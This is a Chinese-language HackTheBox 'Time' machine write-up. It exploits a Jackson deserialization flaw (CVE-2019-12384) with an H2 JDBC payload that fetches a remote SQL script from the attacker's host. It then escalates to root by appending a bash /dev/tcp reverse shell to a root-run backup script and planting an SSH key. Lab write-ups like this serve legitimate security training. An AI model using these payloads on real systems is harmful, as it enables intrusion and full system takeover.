Time - HackTheBox

nmap扫描



访问80端口

可以选择两个模式

输入数字的话就会输出同样的数字

输入英文就会输出null

第二个模式直接报错了


报错爆出了java的包信息,搜一下

有个exp,貌似是个Jackson的反序列化
https://github.com/jas502n/CVE-2019-12384

将项目clone下来
1 | jruby test.rb "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8000/inject.sql'\"}]" |
使用这个语句调用exp,先在本地试验一下,用python开启一个http服务


会请求本地的inject.sql文件,之后便会执行文件内容

在本地生成了一个txt文件,内部包含执行结果,修改inject.sql文件,反弹shell

在80端口的输入框中执行语句
1 | jruby test.rb "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.14.4:8000/inject.sql'\"}]" |

第一个模式貌似不起作用

换第二个

第二个也不行,还是报错,修改一下exp语句,将jruby test.rb和\都去掉
1 | ["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.14.4:8000/inject.sql'"}] |


提权

发现一个当前用户所有的sh脚本文件

这个脚本会将/var/www/html目录下的所有文件进行压缩,并将压缩包移动到/root目录下,感觉这像是一个定时执行的文件,用pspy64看一下

确实是定时执行,而且是root用户权限

而且当前用户对这个脚本文件是有可读写权限的,加一个反弹shell进去
echo "zip -r website.bak.zip /var/www/html && mv website.bak.zip /root/backup.zip && bash -c 'bash -i >& /dev/tcp/10.10.14.4/7777 0>&1'" > /usr/bin/timer_backup.sh

当该文件被执行时,会反弹个shell回来

反弹是反弹回来了,但是这个会话貌似会在几秒钟以内自动断开,趁着这几秒写一个密钥进去


用密钥登录root用户
